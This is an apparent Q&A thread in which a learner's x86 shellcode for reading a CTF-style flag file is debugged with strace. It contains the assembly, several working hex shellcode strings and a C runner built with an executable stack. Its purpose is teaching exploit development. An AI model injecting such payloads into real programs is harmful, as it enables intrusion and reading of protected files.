I'm learning to write shellcode and am trying to read a file (in this case, /flag/level1.flag). This file contains a single string.
Through looking at tutorials online, I've come up with the following shellcode. It opens the file, reads it byte by byte (pushing each byte onto the stack), then writes to stdout giving the pointer to the top of the stack.
section .text
global _start
_start:
jmp ender
starter:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
mov al, 0x5 ; open()
int 0x80
mov esi, eax ; [file handle to flag]
jmp read
exit:
xor eax, eax
mov al, 0x1 ; exit()
xor ebx, ebx ; return code: 0
int 0x80
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
mov dl, 0x1 ; read 1 byte
int 0x80
xor ebx, ebx
cmp eax, ebx
je exit ; if read() returns 0x0, exit
xor eax, eax
mov al, 0x4 ; write()
mov bl, 0x1 ; stdout
int 0x80
inc esp
jmp read ; loop
ender:
call starter
string: db "/flag/level1.flag"
Here's what I do to compile and test it:
nasm -f elf -o test.o test.asm
ld -m elf_i386 -o test test.o
When I run ./test
, I get the expected result. Now if I pull the shellcode out of the binary and test it in a stripped down C runner:
char code[] = \
"\xeb\x30\x5b\x31\xc0\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xcb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67";
int main(int argc, char **argv){
int (*exeshell)();
exeshell = (int (*)()) code;
(int)(*exeshell)();
}
Compiled the following way:
gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c
And then run it, I see that I read the file properly, but then continue to print garbage to the terminal (I have to Ctrl+C).
I'm guessing it has to do with read()
not encountering a \x00
and, thus continuing to print data from the stack until it finds the null marker. Is that correct? If so, why does the compiled binary work?
TL;DR: Never assume the state of the registers when running as an exploit in a target executable. If you need an entire register zeroed out you must do so yourself. Running standalone and in a running program may behave differently depending on what is in the registers when the exploit begins to execute.
If you properly build your C code making sure the stack is executable and you build a 32-bit exploit and run it in a 32-bit executable (as you have done), the primary reason things may fail when not standalone is if you haven't properly zeroed out registers properly. As a standalone program many of the registers may be 0 or have 0 in the upper 24-bits where as inside a running program that may not be the case. This can cause your system calls to behave differently.
One of the best tools to debug shell code is a debugger like GDB. You can step through your exploit and review the register state prior to your system calls (int 0x80
). An easier approach in this case is the STRACE tool (system trace). It will show you all the system calls and the parameters that are being issued by a program.
If you run strace ./test >output
on your standalone program where /flag/level1.flag
contains:
test
You'd probably see STRACE output something similar to:
execve("./test", ["./test"], [/* 26 vars */]) = 0 strace: [ Process PID=25264 runs in 32 bit mode. ] open("/flag/level1.flag", O_RDONLY) = 3 read(3, "t", 1) = 1 write(1, "t", 1) = 1 read(3, "e", 1) = 1 write(1, "e", 1) = 1 read(3, "s", 1) = 1 write(1, "s", 1) = 1 read(3, "t", 1) = 1 write(1, "t", 1) = 1 read(3, "\n", 1) = 1 write(1, "\n", 1 ) = 1 read(3, "", 1) = 0 exit(0) = ? +++ exited with 0 +++
I redirected standard output to the file output
so it didn't clutter the STRACE output. You can see the file /flag/level1.flag
was opened as O_RDONLY and file descriptor 3 was returned. You then read 1 byte at a time and wrote it to standard output (file descriptor 1). The output
file contains the data that is in /flag/level1.flag
.
Now run STRACE on your shellcode program and examine the difference. Ignore all the system calls prior to reading the flag file as those are the system calls the shellcode
program made directly and indirectly before it got to your exploit. The output may not look exactly like this but it is probably similar.
open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument) read(-22, 0xffeac2cc, 4293575425) = -1 EBADF (Bad file descriptor) write(1, "\211\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0"..., 4293575425) = 4096 read(-22, 0xffeac2cd, 4293575425) = -1 EBADF (Bad file descriptor) write(1, "\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0\206"..., 4293575425) = 4096 [snip]
You should notice that the open failed with -1 EINVAL (Invalid argument)
and if you observe the flags passed to open there are many more than O_RDONLY. This suggests that the second parameter in ECX likely hasn't been properly zeroed. If you look at your code you have this:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
mov al, 0x5 ; open()
int 0x80
You don't set ECX to anything. When running in a real program ECX is non zero. Modify the code to be:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
xor ecx, ecx
mov al, 0x5 ; open()
int 0x80
Now generate the shellcode string with this fix and it probably looks something like:
\xeb\x32\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xc9\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
Run this shell string in your shellcode
program using STRACE again and the output may appear something like:
open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3 read(3, "test\n", 4286583809) = 5 write(1, "test\n\0\0\0\24\25\200\377\34\25\200\377@\0bV\334\363r\367\200\24\200\ 377\0\0\0\0"..., 4286583809) = 4096
This is better, but there is still a problem. The number of bytes to read (third parameter) is 4286583809 (your value may be different). Your standalone code is suppose to be reading 1 byte at a time. This indicates that likely the upper 24 bits of EDX were not properly zeroed out. If you review the code you do:
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
mov dl, 0x1 ; read 1 byte
int 0x80
At no point in this section of code (or before it) do you zero out EDX before placing 1 in DL. You can do so with:
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
xor edx, edx ; Zero all of EDX
mov dl, 0x1 ; read 1 byte
int 0x80
Now generate the shellcode string with this fix and it probably looks something like:
\xeb\x34\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\x31\xd2\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe4\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe1\xe8\xc7\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
Run this shell string in your shellcode
program using STRACE again and the output may appear something like:
open("/flag/level1.flag", O_RDONLY) = 3 read(3, "t", 1) = 1 write(1, "t", 1) = 1 read(3, "e", 1) = 1 write(1, "e", 1) = 1 read(3, "s", 1) = 1 write(1, "s", 1) = 1 read(3, "t", 1) = 1 write(1, "t", 1) = 1 read(3, "\n", 1) = 1 write(1, "\n", 1) = 1 read(3, "", 1) = 0
This produces the desired behaviour. Reviewing the rest of the assembly code it doesn't appear this mistake has been made on any of the other registers and system calls. Using GDB would have shown you similar information about the state of the registers before each system call. You would have discovered the registers didn't always have the expected values.